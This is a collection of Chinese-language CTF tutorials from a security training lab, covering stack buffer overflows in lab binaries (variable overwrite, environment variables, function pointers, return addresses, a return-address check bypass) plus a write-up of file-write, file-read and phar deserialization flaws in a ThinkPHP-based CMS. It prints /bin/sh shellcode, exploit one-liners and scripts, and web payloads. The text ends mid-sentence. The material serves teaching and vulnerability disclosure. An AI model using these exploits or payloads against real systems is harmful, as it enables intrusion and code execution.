CTF PWN练习之绕过返回地址限制
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
先介绍一些这个实验要知道的一些东西
builtin_return_address函数
builtin_return_address函数接收一个参数,可以是0,1,2等。__builtin_return_address(0)返回当前函数的返回地址,如果参数增大1,那么就往上走一层获取主调函数的返回地址。还有多层跳转retn指令从栈顶弹出一个数据并赋值给EIP寄存器,程序继续执行时就相当于跳转到这个地址去执行代码了。如果我们将返回地址覆盖为一条retn指令的地址,那么就又可以执行一条retn指令了,相当于再在栈顶弹出一个数据赋值给EIP寄存器。
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014110316261100001
先仔细看一下题目描述。主机/home/test/7目录下有一个pwn7程序,执行这个程序可以输入数据进行测试,正常情况下程序接收输入数据后会产生对应的输出信息并直接退出,然而当输入一定的数据量时,可能会提示bzzzt的错误信息,当输入的精心构造的输入数据时可对程序发起溢出攻击,达到执行Shellcode的目的。下面这段Shellcode用于执行/bin/sh:
\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe\xc8\x88\x06\x46\xe2\xf7\xff\xe7\xe8\xe9\xff\xff\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69\x01\x69\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81
请对pwn7程序进行逆向分析和调试,找到程序内部的漏洞,并构造特殊的输入数据,使之执行上面提供的Shellcode。
因为这个题目直接覆盖返回地址跳转到Shellcode执行是不行的,程序队返回地址进行了一点限制,学会绕过对返回地址的保护限制,以达到执行特定Shellcode的目的。所以看上去会难一些
我们先进行代码审计。
使用cd /home/test/7切换到程序所在目录,执行cat pwn7.c即可看到源代码:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: ");
fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if ((ret & 0xbf000000) == 0xbf000000)
{
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char** argv)
{
getpath();
return 0;
}
getpath函数中定义了一个64字节大小的buffer数组,然后使用gets获取输入数据,我们知道gets是不安全的函数,这里会引发缓冲区溢出,栈上函数的返回地址可以被改写。但是也可以看到这里对返回地址和0xbf000000进行与操作,如果高位字节是0xbf的话,那么程序就会退出。
执行gdb pwn7即可开始通过gdb对pwn7进行调试,现在我们需要阅读getpath函数的汇编代码,在gdb中执行disas getpath命令即可。
类似实验《CTF PWN练习之返回地址覆盖》,我们可以通过执行如下的指令来计算覆盖返回地址需要的字节数:
上图中红色线条框起来的就是我们执行的gdb命令,粉红色线条框起来的是我们下断点的地址,蓝色线条框起来的是我们想要查看的两个寄存器的值,有:
0xffffd6bc - 0xffffd66c,那么这两个地址的差为80。
也就是说,在覆盖了80字节数据后,如果再覆盖4个字节,就可以把返回地址覆盖为我们想要的地址了。现在因为对返回地址进行了限制,我们显然不能直接跳转到栈上执行代码,因为这里Shellcode的地址的最高字节为0xff,有0xff & 0xbf == 0xbf,因此无法通过保护限制。
这里采用两次跳转的方法来突破这个限制。我们可以将一条retn指令的地址来覆盖函数的返回地址,比如getpath的最后一条指令为:
0x080484e9 <+117>: ret
那么,0x080484e9 & 0xbf000000 = 0x08000000,可以绕过保护限制,我们让这条retn指令执行时,从栈上取到的数据为Shellcode的地址,就可以执行Shellcode了。那么,我们构造的输入数据应该是这样的:
在gdb调试器下调试pwn7程序时,只要合理控制输入数据的第81~84字节的内容,就可以实现对函数返回地址进行覆盖,我们可以将返回地址填充为0x080484e9来实现执行一条retn指令。
同时,我们将第85~88字节覆盖为Shellcode的地址。即0xffffd6bc+4+4 = 0xffffd6c4,我们对输入数据的构造的布局如下:
在/home/test/7目录下有一个pwn7.py的Python脚本,其源代码如下:
shellcode = ("\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe" +
"\xc8\x88\x06\x46\xe2\xf7\xff\xe7\xe8\xe9\xff\xff" +
"\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69\x01\x69" +
"\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81")
print 'A'*80 + '\xe9\x84\x04\x08' + '\xc4\xd6\xff\xff' + shellcode
在Shell下执行python pwn7.py > test将输出数据写入test文件,然后再次使用gdb调试pwn7程序,gdb载入pwn7程序后,执行r < test命令,表示将test文件的数据当做输入数据传给pwn7程序,可以看到Shellcode成功执行,新创建了一个/bin/bash进程:
PWN练习还是很有难度的,总的来说比之前接触的实验上了一个档次,不过话说回来,咱们有关PWN题型的练习也告一段落了,接下来要开始接触新的知识了。
想亲自体验这些精彩的实验吗?点击下方按钮注册,一起来实战!
CTF PWN练习之返回地址覆盖
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
今天进行的实验是CTF PWN练习之返回地址覆盖,来体验一下新的溢出方式。
学习地址覆盖之前还有些小知识需要掌握,不然做题的时候你肯定一脸懵逼,首先是函数调用约定,然后还要知道基本的缓冲区溢出攻击模型。
函数调用约定
函数调用约定描述了函数传递参数的方式和栈协同工作的技术细节,不同的函数调用约定原理基本相同,但在细节上是有差别的,包括函数参数的传递方式、参数的入栈顺序、函数返回时由谁来平衡堆栈扥。本实验中着重讲解C语言函数调用约定。
通过前面几个PWN系列实验的学习,我们可以发现在gdb中通过disas指令对main函数进行反汇编时,函数的开头和结尾的反汇编指令都是一样的:
push %ebp
mov %esp,%ebp
......
leave
ret
在函数大开头,首先是一条push %ebp指令,将ebp寄存器压入栈中,用于保存ebp寄存器的值,接着是mov %esp,%ebp将esp寄存器的值传递给ebp寄存器;在函数的末尾,leave指令相当于mov %ebp,%esp和pop %ebp两条指令,其作用刚好与开头的两条指令相反,即恢复esp和ebp寄存器的内容。
如果在函数A中调用了函数B,我们称函数A为主调函数,函数B为被调函数,如果函数B的声明为int B(int arg1, int arg2, int arg3),那么函数A中的调用函数B时的汇编指令的形式如下:
push arg3
push arg2
push arg1
call B
连续三个push将函数的参数按照从右往左的顺序进行压栈,然后执行call B来调用函数B。注意在gdb中看到的效果可能不是三个push,而是三个mov来对栈进行操作,这是因为Linux采用AT&T风格的汇编,而上面的指令使用的是Intel风格的汇编,比较容易理解。
call指令的内部细节为:将下一条指令的地址压入栈中,然后跳转到函数B去执行代码。这里说的call下一条指令的地址也就是通常所说的返回地址。函数B最后一条retn指令会从栈上弹出返回地址,并赋值给EIP寄存器,达到返回函数A继续执行的目的。
基本的缓冲区溢出攻击模型
基本的缓冲区溢出攻击通常是通过改写函数返回地址的形式来发起攻击的。如A调用B函数,正常情况下B函数返回时执行retn指令,从栈上取出返回地址跳转回A函数继续执行代码。而一旦返回地址被缓冲区溢出数据改写,那么我们就可以控制函数B跳转到指定的地方去执行代码了。
1. 实验内容和步骤
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014110409173900001。
做实验前先好好审题,看一下描述。
主机/home/test/5目录下有一个pwn5程序,执行这个程序可以输入数据进行测试,正常情况下程序接收输入数据后不会产生任何输出信息并直接退出,然后当输入一定的数据量时,可能会提示Segmentation fault的错误信息,当输入的精心构造的输入数据时可对程序发起溢出攻击,达到改写程序执行流程的目的,攻击成功时将输出如下信息:
Congratulations, you pwned it.
请对pwn5程序进行逆向分析和调试,找到程序内部的漏洞,并构造特殊的输入数据,使之输出成功的提示信息。
使用cd /home/test/5切换到程序所在目录,执行cat pwn5.c即可看到源代码:
#include <stdio.h>
void win()
{
printf("Congratulations, you pwned it.\n");
}
int main(int argc, char** argv)
{
char buffer[64];
gets(buffer); // 存在缓冲区溢出
return 0;
}
程序定义了一个64字节大小的buffer数组,然后使用gets获取输入数据,我们知道gets是不安全的函数,这里会引发缓冲区溢出,栈上函数的返回地址可以被改写,当返回地址被改写为win函数的地址时,就可以输出成功提示的信息。
gets(buffer)这个溢出太明显了,问题就是不知道我们要输入多少位才能溢出。
执行gdb pwn5即可开始通过gdb对pwn5进行调试,现在我们需要阅读main函数的汇编代码,在gdb中执行disas main命令即可:
我们首先使用b *0x080483f8对main函数的第一条指令下一个断点,同时使用b *0x08048408对gets函数的调用下一个断点,然后输入r命令运行程序,将会在第一个断点处断下,如下图所示:
这时候运行i r $esp来查看esp寄存器的值,通过前面对函数调用约定的分析,我们知道这时候栈顶存储的就是返回地址,这时候esp寄存器的值为0xffffd6cc。
在gdb中输入c命令让程序继续执行,将在第二个断点断下,通过对汇编指令的分析,我们知道eax寄存器存储了buffer的起始地址,所以运行i r $eax来查看buffer的地址:
我们看到eax寄存器的值为0xffffd680,那么这两个地址的差为76,如下图下图所示:
也就是说,在覆盖了76字节数据后,如果再覆盖4个字节,就可以把返回地址覆盖为我们想要的地址了。
在gdb中执行disas win查看win函数的地址为0x080483e4,接下来就可以构造输入数据来发起溢出攻击了。
我们只要合理控制输入数据的第77~80字节的内容,就可以实现对函数返回地址进行覆盖,从而成功发起溢出攻击了。
现在win函数的地址为0x080483e4,转换为小端格式是’\xe4\x83\x04\x08’,那么可以构造这样的命令来进行溢出测试:
python -c "print 'A'*76+'\xe4\x83\x04\x08'" | ./pwn5
攻击效果如下图所示:
这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
CTF PWN练习之函数指针改写
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
先介绍工具吧!
使用objdump工具可以查看一个目标文件的许多内部信息,objdump有许多可选的参数选项,通过控制这些参数选项可以输出不同的文件信息。
本实验的程序和代码位于/home/test/4目录下,执行objdump -d pwn4可以看到关于pwn4程序的反汇编指令列表,其中-d选项表示进行反汇编操作.
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014110409162800001(除了gdb之外,Linux还有许多工具可以帮助我们分析二进制文件。本实验将教会大家使用objdump来查找二进制程序中函数的地址信息,并通过修改函数指针变量的值为指定函数的地址来改写程序执行流程。)。
1.实验内容和步骤
大东:先来看题目描述 主机/home/test/4目录 下有一个pwn4程序,执行这个程序 可以 输入数据进行测试,当输入一定的数据量时 , 可能什么都不会提示程序就结束运行了,也可能会提示这样的信息:
calling function pointer, jumping to 0x41414141
Segmentation fault
当输入的精心构造的输入数据时可对程序发起溢出攻击,达到改写程序执行流程的目的,攻击成功时将输出如下信息:
calling function pointer, jumping to 0xXXXXXXXX
Congratulations, you pwned it.
请对pwn4程序进行逆向分析和调试,找到程序内部的漏洞,并构造特殊的输入 数据,使之 输出成功的提示信息。
开始做题吧,先看源码,使用cd /home/test/4切换到程序所在目录,执行cat pwn4.c 即可看到源代码:
#include <stdio.h>
#include <string.h>
typedef void (* func)();
void win()// 输出 成功提示信息的函数
{
printf("Congratulations, you pwned it.\n");
}
int main(int argc, char** argv)
{
func fp;
char buffer[64];
fp = NULL;
gets(buffer); // 可引发缓冲区溢出
if (fp) // 判断函数指针变量fp是否不为NULL
{
printf("calling function pointer, jumping to 0x%08X\n", fp);
fp(); // 调用 fp
}
return 0;
}
程序定义了一个与buffer相邻的函数指针变量fp, 然后使用gets获取输入数据,我们知道gets是不安全的函数,这里会引发缓冲区溢出,fp 变量的值可以被改写,当fp 的值被改写为 win 函数的地址时,就可以输出成功提示的信息。
继续来看分析,执行gdb pwn4即可开始通过gdb对 pwn4进行调试,现在我们需要阅读main函数的汇编代码 ,在gdb中执行disas main命令即可:
大东:下面是对main函数中的汇编代码的解释:
0x08048428 <+0>: push %ebp
0x08048429 <+1>: mov %esp,%ebp
0x0804842b <+3>: and $0xfffffff0,%esp
; 在栈上开辟0x60字节的空间
0x0804842e <+6>: sub $0x60,%esp
; 初始化fp的值为NULL,其中fp位于[esp+0x5c]
0x08048431 <+9>: movl $0x0,0x5c(%esp)
; 执行gets(buffer),其中buffer位于[esp+0x1c]
0x08048439 <+17>: lea 0x1c(%esp),%eax
0x0804843d <+21>: mov %eax,(%esp)
0x08048440 <+24>: call 0x8048320 < gets@plt>
; 判断fp是否为NULL
0x08048445 <+29>: cmpl $0x0,0x5c(%esp)
0x0804844a <+34>: je 0x8048467 < main+63>
0x0804844c <+36>: mov $0x8048554,%eax
0x08048451 <+41>: mov 0x5c(%esp),%edx
0x08048455 <+45>: mov %edx,0x4(%esp)
0x08048459 <+49>: mov %eax,(%esp)
0x0804845c <+52>: call 0x8048340 < printf@plt>
; 执行fp()
0x08048461 <+57>: mov 0x5c(%esp),%eax
0x08048465 <+61>: call *%eax
0x08048467 <+63>: mov $0x0,%eax
0x0804846c <+68>: leave
0x0804846d <+69>: ret
通过对上面的汇编代码进行分析, 我们知道buffer位于esp+0x1c处,而fp位于esp+0x5 c处,两个地址的距离为0x5 c - 0x1c = 0x40,即64,刚好为buffer数组的大小。 因此当输入数据的长度超过64字节 时,fp 变量 就可以被覆盖,但需要控制fp变量的值还需要小心的构造数据。我们只要合理控制 环境变量参数的第65~68字节的内容, 就可以成功发起溢出攻击了。
通过上面的步骤我们已经知道,只要合理控制输入 数据的第 65~68字节的内容,就可以成功发起 溢出攻击了 。现在的问题是找到函数win的地址信息,然后将fp的值改写为win函数的地址,这样就可以达到调用win函数的目的了。前面 提到过使用objdump可以查看函数的地址,现在在shell中执行objdump -d pwn4,然后在输出 信息中找到win函数的信息:
可以看到win函数的地址为0x08048414,因为机器采用小端格式,因此执行下面的语句就可以成功发起溢出攻击了:
python -c "print 'A'*64+'\x14\x84\x04\x08'" | ./pwn4
攻击效果如下图所示:
PWN类型的题目是CTF中的一个难点,要多下功夫。这次实验需要重点注意fp变量和汇编代码的分析。
想亲自体验这些精彩的实验吗?点击下方按钮注册,一起来实战!
记某cms的漏洞挖掘之旅
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
任意文件写入
这个 cms 是基于 thinkphp5.1 的基础开发的,一般我们挖 cms 如果想 rce 的话,可以在 application 文件夹直接搜索file_put_content等危险函数,如下图,我们直接全局定位到这个fileedit方法里面的file_put_content
我们看到第一个参数$rootpath,他是被拼接了这么一段路径
$rootpath = Env::get('root_path') . 'theme' . DIRECTORY_SEPARATOR . $template . DIRECTORY_SEPARATOR . $path;
其中$path是我们可控的,那么一般就可以考虑下是否存在路径穿越的问题
再看到第二个参数htmlspecialchars_decode(Request::param('html')也是我们可控的
所以这里就比较清晰了,我们只需要../就可以进行路径穿越,htmlspecialchars_decode也对我们写入 php 代码没有什么影响,所以我们直接 post 传参 path=../../index.php&html=<?php phpinfo();?>即可
可以看到已经成功 rce
任意文件读取
我们再顺着fileedit这个方法往下瞅瞅,发现还有一个file_get_contents,他的参数也是$rootpath,所以这里也是我们可控的,不同的是进入这个 else 分支我们用 get 传参即可
我们直接传入../../index.php,发现已经成功把index.php读取出来了
反序列化漏洞
上面两个漏洞是利用了file_get_contents和file_put_content,这两个函数都是涉及了 IO 的操作函数,也就是说可以进行操作 phar 反序列化漏洞,但是他们的路径并不是完全可控的,只是后面一小部分可控,所以这条路走不通,所以接下来的思路就是搜索有没有可以操作phar的函数
我们直接全局搜索is_dir,一个一个分析是否可以利用
这里我的运气比较好,映入眼帘的是scanFilesForTree这个方法,他的$dir是直接可控的,文章的开头说了这个 cms 是基于 thinkphp5.1 二次开发的,所以我们可以直接利用这个漏洞生成 phar 文件来进行 rce
我们首先看看能不能上传 phar 文件,在后台一处发现可以上传文件
我们先抓个包试试水,发现提示非法图片文件,应该是写了什么过滤
我们找到upload这个函数发现对图片的类型和大小进行了一些验证
public function upload($file, $fileType = 'image') { // 验证文件类型及大小 switch ($fileType) { case 'image': $result = $file->check(['ext' => $this->config['upload_image_ext'], 'size' => $this->config['upload_image_size']*1024]); if(empty($result)){ // 上传失败获取错误信息 $this->error = $file->getError(); return fal
然后尝试加了GIF89a头就可以上传了,看来多打CTF还是有用的,于是直接上传我们的 phar 文件就好了
这里要记得生成 phar 文件的时候要要加入GIF89a头来绕过,如下
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置stub
可以看到已经成功上传了,同时记住下面那个路径
最后我们在scanFilesForTree这里触发我们的phar文件就可以了
总结
本篇的漏洞已经全部上交cnvd,这个 cms 总的来说比较适合练手,主要的切入点还是通过白盒通过寻找一些危险的函数,再想方设法的去控制它的参数变量
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID06a1-2876-4bfb-8e59-a0096299c167 (过本节的学习,了解文件下载漏洞的原理,通过代码审计掌握文件下载漏洞产生的原因以及修复方法。)
想亲自体验这些精彩的实验吗?点击下方按钮注册,一起来实战!
CTF PWN练习之环境变量继承
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
今天的实验和上次学习的精确覆盖变量数据有关,CTF PWN练习中的环境变量继承。这个题目有联系到环境变量参数,我们需要知道在Linux/Windows操作系统中, 每个进程都有其各自的环境变量设置。缺省情况下, 当一个进程被创建时,除了创建过程中的明确更改外,它继承了其父进程的绝大部分环境变量信息。
C语言main函数可以传递三个参数,除了argc和argv参数外,还能接受一个char**类型的envp参数。envp指向一个字符串数组,该数组存储了当前进程具体的环境变量的内容,envp的最后一个元素指向NULL,此为envp结束的标识符。
实验介绍开始
打印环境变量参数信息的示例代码(位于/home/test/3目录下的env.c):
#include <stdio.h>
int main(int argc, char** argv, char** envp)
{
int i = 0;
while (envp[i])
{
printf("envp[%2d] = %s\n", i, envp[i]);
i += 1;
}
return 0;
}
编译这段代码生成env程序,然后在命令行下执行,可以看到程序打印出了具体的环境变量参数信息:
环境变量的格式为:环境变量名=环境变量值
当父进程启动一个子进程时,子进程会继承父进程的换了变量信息。在Linux Shell下,通过export可以给Shell添加一个环境变量,此后通过Shell启动的子进程都会拥有这个环境变量。
在Shell中执行export testenv="Hello_World"之后,再执行./env,可以看到新的环境变量已经被子进程继承了。
除了通过export添加环境变量以外,我们还可以通过函数getenv、putenv、setenv等对环境变量进行操作。
看完基础知识之后,我们开始来做题,本文实验题目:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014110409142200001。
同样的先看题目描述 主机/home/test/3目录下有一个pwn3程序,这个程序会对进程中名为HEETIAN的环境变量的值进行处理,通过构造特定的环境变量参数数据可以对程序发起溢出攻击,成功会提示Congratulations, you pwned it.,失败则会提示Please try again.的提示信息。注意:如果没有设置HEETIAN这个环境变量,那么运行程序后将输出Please set the HEETIAN environment variable,之后程序自动退出。
请对pwn3程序进行逆向分析和调试,找到程序内部的漏洞,并构造特殊的环境变量参数数据,使之输出成功的提示信息。
题目的考点就是需要我们构造特定的环境变量参数来对程序进行溢出攻击,但是我们溢出也是有条件的,分析一下。
先来看源码,使用cd /home/test/3切换到程序所在目录,执行cat pwn3.c即可看到源代码:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char** argv)
{
int modified;
char buffer[64];
char* variable;
variable = getenv("HEETIAN"); // 获取环境变量HEETIAN的值
if (variable == NULL)
{
printf("Please set the HEETIAN environment variable\n");
exit(1);
}
modified = 0;
strcpy(buffer, variable); // 调用strcpy进行字符串复制,可引发缓冲区溢出
if (modified == 0x0d0a0d0a) // 判断modified的值是否为0x0d0a0d0a
{
printf("Congratulations, you pwned it.\n");
}
else
{
printf("Please try again, you got 0x%08X\n", modified);
}
return 0;
}
程序首先通过getenv函数获取名为HEETIAN的环境变量参数,然后使用strcpy函数将其值复制到buffer缓冲区中,我们知道这样可以引发缓冲区溢出。
这里当设置超长的环境变量参数数据时,将会产生缓冲区溢出,数据覆盖buffer后会继续覆盖modified变量。
这只是c语言代码,我们就需要用gdb来进行调试来判断溢出的长度。执行gdb pwn3即可开始通过gdb对pwn3进行调试,现在我们需要阅读main函数的汇编代码,在gdb中执行disas main命令即可,下面是对main函数中的汇编代码的解释(无关代码已经省略):
(gdb) disas main
Dump of assembler code for function main:
......
0x0804848d <+9>: movl $0x80485d4,(%esp)
; 调用getenv获取环境变量HEETIAN的值
0x08048494 <+16>: call 0x8048364 <getenv@plt>
; 将结果保存到variable变量,即[esp+0x5c]
0x08048499 <+21>: mov %eax,0x5c(%esp)
; 判断返回结果是否为NULL
0x0804849d <+25>: cmpl $0x0,0x5c(%esp)
0x080484a2 <+30>: jne 0x80484bc <main+56>
......
; 初始化modified变量的值为0,位于[esp+0x58]
0x080484bc <+56>: movl $0x0,0x58(%esp)
; 调用strcpy对buffer进行填充,位于[esp+0x18]
0x080484c4 <+64>: mov 0x5c(%esp),%eax
0x080484c8 <+68>: mov %eax,0x4(%esp)
0x080484cc <+72>: lea 0x18(%esp),%eax
0x080484d0 <+76>: mov %eax,(%esp)
0x080484d3 <+79>: call 0x8048384 <strcpy@plt>
; 判断modified变量的值是否为0x0d0a0d0a
0x080484d8 <+84>: cmpl $0xd0a0d0a,0x58(%esp)
......
End of assembler dump.
通过对上面的汇编代码进行分析,我们知道buffer位于esp+0x18处,而modified位于esp+0x58处,两个地址的距离为0x58 - 0x18 = 0x40,即64,刚好为buffer数组的大小。因此当环境变量HEETIAN的值的数据超过64字节时,modified变量就可以被覆盖,但需要控制modified变量的值还需要小心的构造数据。我们只要合理控制环境变量参数的第65~68字节的内容,就可以成功发起溢出攻击了。
我们输入64个a加上'\x0a\x0d\x0a\x0d'就可以了吗?
当然不是,之前说到了环境变量,需要构造环境变量然后再来输入。
因为目标机器采用小端格式存储数据,而if语句分支要求modified的值为0x0d0a0d0a时才通过判断,因此我们构造的数据应该为\x0a\x0d\x0a\x0d。
要是感觉连续输入64个a比较麻烦,这里有两种更简便的办法1.通过export修改环境变量前面已经介绍过通过export可以修改环境变量,执行下面的语句:
export HEETIAN=$(python -c "print 'A'*64+'\x0a\x0d\x0a\x0d'")然后运行./pwn3就可以看到攻击效果了,如图所示:
接下来,我们来看通过python脚本动态修改环境变量。
在/home/test/3下存在一个pwn3.py的python脚本,执行cat pwn3.py可以看到源码:
import os
def pwn():
os.putenv("HEETIAN", "A"*64+"\x0a\x0d\x0a\x0d")
os.system("./pwn3")
if name == "main":
pwn()
为了排除前面的环境变量的干扰,我们先修改HEETIAN的的值为AAA,然后再执行python脚本,可以看到攻击效果,如图所示:
pwn3.py先修改HEETIAN环境变量的值,然后通过system启动pwn3程序。
想亲自体验这些精彩的实验吗?点击下方按钮注册,一起来实战!
CTF PWN之精确覆盖变量数据
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
刚开始接触pwn的朋友在做pwn练习时可能会有这样的疑问,怎么做到精确覆盖变量数据呢?
我们做pwn练习之前需要先知道:命令行参数C语言的main函数拥有两个参数,为int类型的argc参数,以及char**类型argv参数。其中argc参数的值表示命令行参数的个数,而argv则指向一个字符串数组,该数组存储了具体的命令行参数的内容。
这里就用今天的实验,给大家介绍一下!
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014110113362900001(在掌握大小端字节序表示法的基础上,通过精心构造的输入数据溢出缓冲区,实现对modified变量的值进行精确覆盖,以达到修改程序执行逻辑的目的。)
看下面的例子 打印命令行参数信息的示例代码(位于/home/test/2目录下):
#include <stdio.h>
int main(int argc, char** argv)
{
int i;
for (i = 0; i < argc; ++i)
{
printf("argv[%d] = %s\n", i, argv[i]);
}
return 0;
}
注意程序本身的名字为命令行的第一个参数。编译这段代码生成test程序,然后在命令行下执行,尝试传入命令行参数,如:./test hello world cmdline,可以看到程序打印出了具体的命令行参数信息:
xargs命令Linux的xargs命令可以将输入数据当做命令行参数传给指定的程序。比如执行命令python -c "print 'AAA BBB CCC'" | xargs ./test后,输出:
python语句执行后输出AAA BBB CCC,通过管道操作作为xargs命令的输入,而xargs将其作为test程序的命令行参数,因此test程序会把这些信息打印出来。
小白:就是我们借助xargs可以把输入数据当成命令行参数输给这个程序。
大东:对的,另外还需要讲的是一个字节序 字节顺序,又称端序或尾序(英语:Endianness)。对于内存中存储的0x11223344这样一个值,从低地址往高地址方向的每一个字节来看,其内容在内存里的分布可能为0x11,0x22,0x33,0x44,也可能为0x44,0x33,0x22,0x11。
这就涉及到两种存储规则:大端格式和小端格式。示意图如下图所示:
0x11223344中的最高的字节为0x11,最低的字节为0x44,我们只要记住小端格式是“高存高,低存低”的规律,就很好的理解了。即小端格式中,高位字节存储于内存的高地址处,而低位字节存储于内存的低地址处。
Intel、AMD等系列的处理器都是小端格式的。
小白:不同的程序如果字节序不一样,我们输入的值也要不一样是这个意思吗?
大东:不错啊,越来越机智了没白教你。
小白:嘿,我们快开始实验吧。
大东:老规矩先看一下实验描述。
题目描述:
主机/home/test/2目录下有一个pwn2程序,这个程序会对传入的命令行参数进行处理,通过构造特定的命令行参数数据可以对程序发起溢出攻击,成功会提示Congratulations, you pwned it.,失败则会提示Please try again.的提示信息。
第一步源码审计使用cd /home/test/2切换到程序所在目录,执行cat pwn2.c即可看到源代码:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char** argv)
{
int modified;
char buffer[64];
if (argc == 1)
{
printf("please specify an argument\n");
exit(1);
}
modified = 0;
strcpy(buffer, argv[1]); // 引发缓冲区溢出
if (modified == 0x61626364)
{
printf("Congratulations, you pwned it.\n");
}
else
{
printf("Please try again, you got 0x%08X\n", modified);
}
return 0;
}
这源码要怎么pwn掉它呢?
我们可以尝试一个姿势,使用strcpy函数复制字符串时,并不会对目标缓冲区的长度进行检查,当源字符串的长度超过目标缓冲区的长度时会引发缓冲区溢出。这里当输入的超长的命令行参数数据时,将会产生缓冲区溢出,数据覆盖buffer后会继续覆盖modified变量。
这个程序有一个条件modified ==**,**那么要多少才能pwn出去呢?0x61626364
我们来继续分析,执行gdb pwn2即可开始通过gdb对pwn2进行调试,现在我们需要阅读main函数的汇编代码,在gdb中执行disas main命令即可:
下面是对main函数中的汇编代码的解释:
0x080482a0 <+0>: push %ebp
0x080482a1 <+1>: mov %esp,%**ebp**
0x080482a3 <+3>: and $0xfffffff0,%**esp**
; esp = esp - 0x60,即在栈上分配0x60)字节的空间
0x080482a6 <+6>: sub $0x60,%**esp**
; 判断命令行参数的个数是否为1
0x080482a9 <+9>: cmpl $0x1,0x8(%**ebp)**
0x080482ad <+13>: jne 0x80482c7 <main+39>
0x080482af <+15>: movl $0x80b3dac,(%**esp)**
0x080482b6 <+22>: call 0x80493c0 <puts>
0x080482bb <+27>: movl $0x1,(%**esp)**
0x080482c2 <+34>: call 0x8048e90 <exit>
; 命令参数个数不是1,说明传入了命令行参数
; modified变量位于esp + 0x5C处,将其初始化为0
0x080482c7 <+39>: movl $0x0,0x5c(%**esp)**
; 通过ebp + 0xC获取argv参数的值
0x080482cf <+47>: mov 0xc(%**ebp),%eax**
; eax = eax + 4
0x080482d2 <+50>: add $0x4,%**eax**
; 取argv[1]的值
0x080482d5 <+53>: mov (%**eax),%eax**
; 将argv[1]作为strcpy的第二个参数值
0x080482d7 <+55>: mov %eax,0x4(%**esp)**
; buffer位于esp + 0x1C处,buffer作为strcpy的第一个参数值
0x080482db <+59>: lea 0x1c(%**esp),%eax**
0x080482df <+63>: mov %eax,(%**esp)**
; 调用strcpy进行字符串复制
0x080482e2 <+66>: call 0x80525b0 <strcpy>
; 判断modified的值是否为0x61626364
0x080482e7 <+71>: cmpl $0x61626364,0x5c(%**esp)**
; 不相等则跳转并输出失败信息
0x080482ef <+79>: jne 0x80482ff <main+95>
; 输出成功提示信息
0x080482f1 <+81>: movl $0x80b3dc8,(%**esp)**
0x080482f8 <+88>: call 0x80493c0 <puts>
0x080482fd <+93>: jmp 0x8048314 <main+116>
0x080482ff <+95>: mov $0x80b3de8,%**eax**
0x08048304 <+100>: mov 0x5c(%**esp),%edx**
0x08048308 <+104>: mov %edx,0x4(%**esp)**
0x0804830c <+108>: mov %eax,(%**esp)**
0x0804830f <+111>: call 0x8049390 <printf>
0x08048314 <+116>: mov $0x0,%**eax**
0x08048319 <+121>: leave
0x0804831a <+122>: ret
通过对上面的汇编代码进行分析,我们知道buffer位于esp+0x1C处,而modified位于esp+0x5C处,两个地址的距离为0x5C - 0x1C = 0x40,即64,刚好为buffer数组的大小。因此当我们输入的数据超过64字节时,modified变量就可以被覆盖,但需要控制modified变量的值还需要小心的构造命令行参数。
下面在gdb中进行验证,在gdb中执行b * 0x080482e7命令对strcpy的下一条指令下一个断点:
在gdb中执行r命令,如下(r后面的数据为64个A以及1234):
r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1234
即r命令后加上空格可以接一个命令行参数,用于传递给被调试的程序。按下Enter键程序就在断点处断下了:
在gdb中输入x $esp+0x5C,查看modified变量的值已经被修改成了0x34333231,而0x31为字符’1’的ASCII值,0x32为字符’2’的ASCII值,0x33为字符’3’的ASCII值,0x34为字符’4’的ASCII值:
使用x /4xb $esp+0x5C命令,以字节为单位查看内存中0x34333231的表示(其中/4xb用于控制输出格式,4表示4个长度单位,x表示以16进制方式显示,b表示单位为字节):
现在modified变量的值已经被修改成0x34333231了,结合我们的输入数据‘A….A1234’,1234为低地址往高地址方向,可以判断这是小端格式的表示法。
在gdb中输入c命令就可以让程序继续执行,看到输出了错误的提示信息:
现在我们只要合理控制命令行参数的第65~68字节的内容,就可以成功发起溢出攻击了。
通过上面的步骤我们已经知道,只要合理控制命令行参数的第65~68字节的内容,就可以成功发起溢出攻击了。因为目标机器采用小端格式存储数据,而if语句分支要求modified的值为0x61626364时才通过判断,因此我们构造的数据应该为\x64\x63\x62\x61。如果你还没有退出gdb,输入q命令就可以退出gdb。下面通过python语句构造输入数据,然后通过xargs传给pwn2程序,执行命令:
